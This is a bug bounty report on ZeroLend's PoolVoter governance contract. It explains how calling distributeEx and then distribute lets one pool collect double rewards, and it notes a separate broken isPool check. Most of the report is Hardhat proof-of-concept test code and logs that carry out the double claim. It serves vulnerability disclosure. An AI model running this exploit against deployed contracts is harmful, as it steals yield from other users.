29078 - [SC - High] Theft of unclaimed yield due to the wrong calcu...
Theft of unclaimed yield due to the wrong calculation of claimable amout for a gauge that allow hackers to get the double reward from the Poolvoter contract.
Submitted on Mar 6th 2024 at 17:15:36 UTC by @perseverance for Boost | ZeroLend
Report ID: #29078
Report type: Smart Contract
Report severity: High
Target: https://github.com/zerolend/governance
Impacts:
Theft of unclaimed yield
Description
Description
Theft of unclaimed yield due to the wrong calculation of claimable amout for a gauge that allow hackers to get the double reward from the Poolvoter contract.
Brief/Intro
The Zerolend provide the Incentive program as described in the Documentation of the protocol: https://docs.zerolend.xyz/zeronomics/token-overview
3. Incentive Programs: The protocol will conduct various incentive programs to encourage users to engage with the platform actively. These programs can offer token rewards or other benefits to participants who perform certain actions, such as providing liquidity, referring new users, or completing specific tasks within the ecosystem.
According to the Zerolend Boost Technical Walkthrough, this is done via the Poolvoter contract https://github.com/zerolend/governance/blob/main/contracts/voter/PoolVoter.sol
The contract will receive the reward via the function notifyRewardAmount
functionnotifyRewardAmount(uint256 amount) publicnonReentrant { reward.safeTransferFrom(msg.sender,address(this), amount); // transfer the distro inuint256 _ratio = (amount *1e18) / totalWeight; // 1e18 adjustment is removed during claimif (_ratio >0) index += _ratio; }
So the program will give the rewards to participants who perform actions such as providing liquidity. The contract will provide the rewards for all the pools in the list:
address[] internal _pools; // all pools viable for incentives
The reward is distributed based on the weights[pool]/totalWeight.
So if in the _pools there are 2 Pools POOL_0 and POOL_1 with weights is 25 (POOL_0) and 75 (POOL_1), then the total weight is 100.
weight[POOL_0] = 25
weight[POOL_1] = 75
=> So if the reward amount = 100 then
Reward for POOL_0 = 25
Reward for POOL_1 = 75
Vulnerability Details
Bug2
So this vulnerability will allow POOL_0 to get the reward = 50 that is double the intended reward by the system.
Details:
So the reward can be distributed by function distribute
functiondistribute(address_gauge) publicnonReentrant {uint256 _claimable = claimable[_gauge]; claimable[_gauge] =0;IERC20(reward).approve(_gauge,0); // first set to 0, this helps reset some non-standard tokensIERC20(reward).approve(_gauge, _claimable);if (!IGauge(_gauge).notifyRewardAmount(address(reward), _claimable)) {// can return false, will simply not distribute tokens claimable[_gauge] = _claimable; } }
So the reward here is calculated based on claimable[_gauge].
But the reward can be also distributed by function distributeEx
functiondistributeEx(address token,uint256 start,uint256 finish ) publicnonReentrant {uint256 _balance =IERC20(token).balanceOf(address(this));if (_balance >0&& totalWeight >0) {uint256 _totalWeight = totalWeight;for (uint256 x = start; x < finish; x++) {uint256 _reward = (_balance * weights[_pools[x]]) / _totalWeight;if (_reward >0) {address _gauge = gauges[_pools[x]];IERC20(token).approve(_gauge,0); // first set to 0, this helps reset some non-standard tokensIERC20(token).approve(_gauge, _reward); IGauge(_gauge).notifyRewardAmount(token, _reward); // can return false, will simply not distribute tokens
} } } }
So notice that the reward in function distributeEx is calculated directly based on the balance of token (e.g. reward token), weights[pool] and totalWeight. But here the claimable[_gauge] is not updated. So by calling distributeEx and distribute(address), the hackers can get double reward from the protocol. By doing so, he steal unclaimed yield from others.
If a hacker deposit or borrow into a pool (POOL_0) and can get 50% of reward of POOL_0. According to the design of the protocol, if POOL_0 have weights is 25% of the total reward then the reward should be
it("Test the distributeEx of PoolVoter contract to get the double reward",asyncfunction () {expect(awaitpoolVoter.totalWeight()).eq(0); console.log("totalWeight: ",awaitpoolVoter.totalWeight()); console.log("length of pools:",awaitpoolVoter.length());console.log("zero balance of PoolVoter: ",awaitzero.balanceOf(poolVoter.target)); // Should be 0console.log("Step: the Deployer (the owner of Zero token) approve the PoolVoter to spend 100 ZERO token");// For this test case, just need dummy _asset and _gauge const [_asset,_gauge] =awaithre.ethers.getSigners();awaitpoolVoter.connect(deployer).registerGauge(_asset.address,_gauge.address);awaitpoolVoter.connect(ant).vote([reserve.target,_asset.address], [1e8,3e8]);console.log("after vote totalWeight: ",awaitpoolVoter.totalWeight()); console.log("length of pools:",awaitpoolVoter.length());awaitzero.connect(deployer).approve(poolVoter.target, e18 *100n);awaitpoolVoter.connect(deployer).notifyRewardAmount(e18 *100n);console.log("After notifyRewardAmout zero balance of PoolVoter: ",awaitzero.balanceOf(poolVoter.target));console.log("Before distributeEx zero balance of aTokenGauge: ",awaitzero.balanceOf(aTokenGauge.target));console.log("Before distributeEx zero balance of varTokenGauge: ",awaitzero.balanceOf(varTokenGauge.target));console.log("Step: Call distributeEx to distribute the reward");awaitpoolVoter.connect(ant)["distributeEx(address,uint256,uint256)"](zero.target,0,1);console.log("After distributeEx zero balance of aTokenGauge: ",awaitzero.balanceOf(aTokenGauge.target));console.log("After distributeEx zero balance of varTokenGauge: ",awaitzero.balanceOf(varTokenGauge.target));awaitpoolVoter.connect(ant)["distributeEx(address,uint256,uint256)"](zero.target,0,1);console.log("After distributeEx zero balance of aTokenGauge: ",awaitzero.balanceOf(aTokenGauge.target));console.log("After distributeEx zero balance of varTokenGauge: ",awaitzero.balanceOf(varTokenGauge.target)); splitterGauge =awaithre.ethers.getContractAt("LendingPoolGauge",awaitpoolVoter.gauges(reserve.target));console.log("The claimable reward of gauge: ",awaitpoolVoter.claimable(splitterGauge.target));console.log("Call the updateFor gauge to update the claimable reward for the gauge");awaitpoolVoter.connect(ant).updateFor(splitterGauge.target);console.log("The claimable reward of gauge: ",awaitpoolVoter.claimable(splitterGauge.target));console.log("Call the claimFor gauge to claim the reward for the gauge");awaitpoolVoter.connect(ant)["distribute(address)"](splitterGauge.target);console.log("After distributeEx zero balance of aTokenGauge: ",awaitzero.balanceOf(aTokenGauge.target));console.log("After distributeEx zero balance of varTokenGauge: ",awaitzero.balanceOf(varTokenGauge.target)); });
So assume that the reward is 100 ZERO Token (= 100 * 10 ^18).
For POOL_0 has weight is 25%
POOL_1 has weight is 75%
So the reward should be split:
POOL_0 should have reward 25 = (25 * 10 ^ 18)
POOL_1 should have reward 75 = (75 * 10 ^ 18 )
But as the test log showed that POOL_0 can get the total reward = 12499999999999999998 + 37499999999999999994 = 49.999 * 10**18 = 2 times of 25 * 10 ^ 18
After distributeEx zero balance of aTokenGauge: 12499999999999999998nAfter distributeEx zero balance of varTokenGauge: 37499999999999999994n
Full test log:
totalWeight: 0nafter vote totalWeight: 0nlength of pools: 1nzero balance of PoolVoter: 0nStep: the Deployer (the owner of Zero token) approve the PoolVoter to spend 100 ZERO tokenafter vote totalWeight: 19953322710553018772nlength of pools: 2nAfter notifyRewardAmout zero balance of PoolVoter: 100000000000000000000nBefore distributeEx zero balance of aTokenGauge: 0nBefore distributeEx zero balance of varTokenGauge: 0nStep: Call distributeEx to distribute the rewardAfter distributeEx zero balance of aTokenGauge: 6250000000000000000nAfter distributeEx zero balance of varTokenGauge: 18750000000000000000nAfter distributeEx zero balance of aTokenGauge: 6250000000000000000nAfter distributeEx zero balance of varTokenGauge: 18750000000000000000nThe claimable reward of gauge: 0nCall the updateFor gauge to update the claimable reward for the gaugeThe claimable reward of gauge: 24999999999999999995nCall the claimFor gauge to claim the reward for the gaugeAfter distributeEx zero balance of aTokenGauge: 12499999999999999998nAfter distributeEx zero balance of varTokenGauge: 37499999999999999994n ✔ Test the distributeEx of PoolVoter contract to get the double reward (296ms)
Bug1
To run the POC for this bug (Bug1), we need to fix another bug that cause the protocol failed to work. Since the Impact "Contract fails to deliver promised returns" is not in the scope of this Bug bounty Program, so I report this bug here. I am sure that the protocol need to fix it.
This bug causes the _pool array is always empty and make some functions of the protocol do not work.
To register a Gauge, the owner need to call the function registerGauge
address[] internal _pools; // all pools viable for incentivesmapping(address=>bool) public isPool; // pool => bool
Here the check isPool[_asset] will always be false
if (isPool[_asset]) { _pools.push(_asset); isPool[_asset] =true; }
so the code inside the "if" branch never get executed. In the contract PoolVoter, There is no function to set isPool[_asset] to true except the function registerGauge. So this will cause the _pools array is always empty and isPool of the _asset always be false.
There are some functions in the PoolVoter.sol will not work as expected because of this bug.
functiondistribute(address_gauge) publicnonReentrant {uint256 _claimable = claimable[_gauge]; claimable[_gauge] =0;IERC20(reward).approve(_gauge,0); // first set to 0, this helps reset some non-standard tokensIERC20(reward).approve(_gauge, _claimable);if (!IGauge(_gauge).notifyRewardAmount(address(reward), _claimable)) {// can return false, will simply not distribute tokens claimable[_gauge] = _claimable; } }
When _gauge is 0x00 then the distribute always send _claimable = 0. There is no reward can be distributed.
functiondistributeEx(address token) external {distributeEx(token,0, _pools.length); }// setup distro > then distributefunctiondistributeEx(address token,uint256 start,uint256 finish ) publicnonReentrant {uint256 _balance =IERC20(token).balanceOf(address(this));if (_balance >0&& totalWeight >0) {uint256 _totalWeight = totalWeight;for (uint256 x = start; x < finish; x++) {uint256 _reward = (_balance * weights[_pools[x]]) / _totalWeight;if (_reward >0) {address _gauge = gauges[_pools[x]];IERC20(token).approve(_gauge,0); // first set to 0, this helps reset some non-standard tokensIERC20(token).approve(_gauge, _reward); IGauge(_gauge).notifyRewardAmount(token, _reward); // can return false, will simply not distribute tokens
} } } }
Because the the _pools is always empty, so _pools[x] always return 0 so the weights[0x00] always return 0, so this function will not distribute any reward.
The function length() always return 0. https://github.com/zerolend/governance/blob/a30d8bb825306dfae1ec5a5a47658df57fd1189b/contracts/voter/PoolVoter.sol#L149-L151
function length() external view returns (uint256) {
return _pools.length;
}
Impacts
About the severity assessment
The main bug Bug2: Theft of unclaimed yield due to the wrong calculation of claimable amout for a gauge that allow hackers to get the double reward from the Poolvoter contract. This bug allow the hackers to double the reward get from the protocol and thus steal yield from other users.
This bug is High category "Theft of unclaimed yield"
Proof of concept
Proof of concept
Proof of concept
Clone the latest governance contract repository from Github: https://github.com/zerolend/governance/tree/a30d8bb825306dfae1ec5a5a47658df57fd1189b
To apply Git patch file for governance repository based on the commit: https://github.com/zerolend/governance/tree/a30d8bb825306dfae1ec5a5a47658df57fd1189b
gitapplyBug2_diff.patch
cd to folder governance, To run the test, you need to
rename .env.example to .env
put the test Private_key to the variable
WALLET_PRIVATE_KEY=
NODE_ENV == "test"
Then run
yarn install
yarn test > test_all.log
The POC code:
it("Test the distributeEx of PoolVoter contract to get the double reward",asyncfunction () {expect(awaitpoolVoter.totalWeight()).eq(0); console.log("totalWeight: ",awaitpoolVoter.totalWeight()); //await poolVoter.connect(ant).vote([reserve.target], [1e8]);//expect(await poolVoter.totalWeight()).greaterThan(e18 * 19n);console.log("after vote totalWeight: ",awaitpoolVoter.totalWeight()); console.log("length of pools:",awaitpoolVoter.length());console.log("zero balance of PoolVoter: ",awaitzero.balanceOf(poolVoter.target)); // Should be 0console.log("Step: the Deployer (the owner of Zero token) approve the PoolVoter to spend 100 ZERO token");// For this test case, just need dummy _asset and _gauge const [_asset,_gauge] =awaithre.ethers.getSigners();awaitpoolVoter.connect(deployer).registerGauge(_asset.address,_gauge.address); await poolVoter.connect(ant).vote([reserve.target,_asset.address], [1e8,3e8]); // For Pool_0 weight is 25 and Pool_1 weight is 75
console.log("after vote totalWeight: ",awaitpoolVoter.totalWeight()); console.log("length of pools:",awaitpoolVoter.length());awaitzero.connect(deployer).approve(poolVoter.target, e18 *100n);awaitpoolVoter.connect(deployer).notifyRewardAmount(e18 *100n);console.log("After notifyRewardAmout zero balance of PoolVoter: ",awaitzero.balanceOf(poolVoter.target));console.log("Before distributeEx zero balance of aTokenGauge: ",awaitzero.balanceOf(aTokenGauge.target));console.log("Before distributeEx zero balance of varTokenGauge: ",awaitzero.balanceOf(varTokenGauge.target));console.log("Step: Call distributeEx to distribute the reward");awaitpoolVoter.connect(ant)["distributeEx(address,uint256,uint256)"](zero.target,0,1);console.log("After distributeEx zero balance of aTokenGauge: ",awaitzero.balanceOf(aTokenGauge.target));console.log("After distributeEx zero balance of varTokenGauge: ",awaitzero.balanceOf(varTokenGauge.target));awaitpoolVoter.connect(ant)["distributeEx(address,uint256,uint256)"](zero.target,0,1);console.log("After distributeEx zero balance of aTokenGauge: ",awaitzero.balanceOf(aTokenGauge.target));console.log("After distributeEx zero balance of varTokenGauge: ",awaitzero.balanceOf(varTokenGauge.target)); splitterGauge =awaithre.ethers.getContractAt("LendingPoolGauge",awaitpoolVoter.gauges(reserve.target));console.log("The claimable reward of gauge: ",awaitpoolVoter.claimable(splitterGauge.target));console.log("Call the updateFor gauge to update the claimable reward for the gauge");awaitpoolVoter.connect(ant).updateFor(splitterGauge.target);console.log("The claimable reward of gauge: ",awaitpoolVoter.claimable(splitterGauge.target));console.log("Call the claimFor gauge to claim the reward for the gauge");awaitpoolVoter.connect(ant)["distribute(address)"](splitterGauge.target);console.log("After distributeEx zero balance of aTokenGauge: ",awaitzero.balanceOf(aTokenGauge.target));console.log("After distributeEx zero balance of varTokenGauge: ",awaitzero.balanceOf(varTokenGauge.target)); });
The test log: https://drive.google.com/file/d/1LlCyR6mSFRkbhhv9PhmEcdnQ5o43dx6N/view?usp=sharing
totalWeight: 0n
after vote totalWeight: 0n
length of pools: 1n
zero balance of PoolVoter: 0n
Step: the Deployer (the owner of Zero token) approve the PoolVoter to spend 100 ZERO token
after vote totalWeight: 19953116596905124301n
length of pools: 2n
After notifyRewardAmout zero balance of PoolVoter: 100000000000000000000n
Before distributeEx zero balance of aTokenGauge: 0n
Before distributeEx zero balance of varTokenGauge: 0n
Step: Call distributeEx to distribute the reward
After distributeEx zero balance of aTokenGauge: 6249999999999999999n
After distributeEx zero balance of varTokenGauge: 18749999999999999997n
After distributeEx zero balance of aTokenGauge: 6249999999999999999n
After distributeEx zero balance of varTokenGauge: 18749999999999999997n
The claimable reward of gauge: 0n
Call the updateFor gauge to update the claimable reward for the gauge
The claimable reward of gauge: 24999999999999999997n
Call the claimFor gauge to claim the reward for the gauge
After distributeEx zero balance of aTokenGauge: 12499999999999999998n
After distributeEx zero balance of varTokenGauge: 37499999999999999994n
✔ Test the distributeEx of PoolVoter contract to get the double reward (286ms)
For Bug1 POC:
To run the POC:
Clone the latest governance contract repository from Github: https://github.com/zerolend/governance/tree/a30d8bb825306dfae1ec5a5a47658df57fd1189b
To apply Git patch file for governance repository based on the commit: https://github.com/zerolend/governance/tree/a30d8bb825306dfae1ec5a5a47658df57fd1189b
gitapplyBug1_diff.patch
cd to folder governance, To run the test, you need to
rename .env.example to .env
put the test Private_key to the variable
WALLET_PRIVATE_KEY=
NODE_ENV == "test"
Then run
yarn install
yarn test
POC Test code:
it("Test the distributeEx(token,start,finish) of PoolVoter contract ",asyncfunction () {expect(awaitpoolVoter.totalWeight()).eq(0); console.log("totalWeight: ",awaitpoolVoter.totalWeight()); awaitpoolVoter.connect(ant).vote([reserve.target], [1e8]);expect(awaitpoolVoter.totalWeight()).greaterThan(e18 *19n);console.log("after vote totalWeight: ",awaitpoolVoter.totalWeight()); console.log("length of pools:",awaitpoolVoter.length());console.log("zero balance of PoolVoter: ",awaitzero.balanceOf(poolVoter.target)); // Should be 0console.log("Step: the Deployer (the owner of Zero token) approve the PoolVoter to spend 100 ZERO token");awaitzero.connect(deployer).approve(poolVoter.target, e18 *100n);awaitpoolVoter.connect(deployer).notifyRewardAmount(e18 *100n); splitterGauge =awaithre.ethers.getContractAt("LendingPoolGauge",awaitpoolVoter.gauges(reserve.target));console.log("The claimable reward of gauge: ",awaitpoolVoter.claimable(splitterGauge.target));awaitpoolVoter.connect(ant).updateFor(splitterGauge.target);console.log("The claimable reward of gauge: ",awaitpoolVoter.claimable(splitterGauge.target));console.log("After notifyRewardAmout zero balance of PoolVoter: ",awaitzero.balanceOf(poolVoter.target));console.log("Step: Call distributeEx to distribute the reward");console.log("Before distributeEx zero balance of aTokenGauge: ",awaitzero.balanceOf(aTokenGauge.target));console.log("Before distributeEx zero balance of varTokenGauge: ",awaitzero.balanceOf(varTokenGauge.target));awaitpoolVoter.connect(ant)["distributeEx(address,uint256,uint256)"](zero.target,0,1);console.log("After distributeEx zero balance of aTokenGauge: ",awaitzero.balanceOf(aTokenGauge.target));console.log("After distributeEx zero balance of varTokenGauge: ",awaitzero.balanceOf(varTokenGauge.target)); });it("Test the distribute() of PoolVoter contract ",asyncfunction () {expect(awaitpoolVoter.totalWeight()).eq(0); console.log("totalWeight: ",awaitpoolVoter.totalWeight()); awaitpoolVoter.connect(ant).vote([reserve.target], [1e8]);expect(awaitpoolVoter.totalWeight()).greaterThan(e18 *19n);console.log("after vote totalWeight: ",awaitpoolVoter.totalWeight()); console.log("length of pools:",awaitpoolVoter.length());console.log("zero balance of PoolVoter: ",awaitzero.balanceOf(poolVoter.target)); // Should be 0console.log("Step: the Deployer (the owner of Zero token) approve the PoolVoter to spend 100 ZERO token");awaitzero.connect(deployer).approve(poolVoter.target, e18 *100n);awaitpoolVoter.connect(deployer).notifyRewardAmount(e18 *100n); splitterGauge =awaithre.ethers.getContractAt("LendingPoolGauge",awaitpoolVoter.gauges(reserve.target));console.log("The claimable reward of gauge: ",awaitpoolVoter.claimable(splitterGauge.target));awaitpoolVoter.connect(ant).updateFor(splitterGauge.target);console.log("The claimable reward of gauge: ",awaitpoolVoter.claimable(splitterGauge.target));console.log("Call the claimFor gauge to claim the reward for the gauge");console.log("After notifyRewardAmout zero balance of PoolVoter: ",awaitzero.balanceOf(poolVoter.target));console.log("Step: Call distributeEx to distribute the reward");console.log("Before distributeEx zero balance of aTokenGauge: ",awaitzero.balanceOf(aTokenGauge.target));console.log("Before distributeEx zero balance of varTokenGauge: ",awaitzero.balanceOf(varTokenGauge.target));awaitpoolVoter.connect(ant)["distribute()"]();console.log("After distributeEx zero balance of aTokenGauge: ",awaitzero.balanceOf(aTokenGauge.target));console.log("After distributeEx zero balance of varTokenGauge: ",awaitzero.balanceOf(varTokenGauge.target)); });it("Test the distribute(uint256 start,uint256 finish) of PoolVoter contract ",asyncfunction () {expect(awaitpoolVoter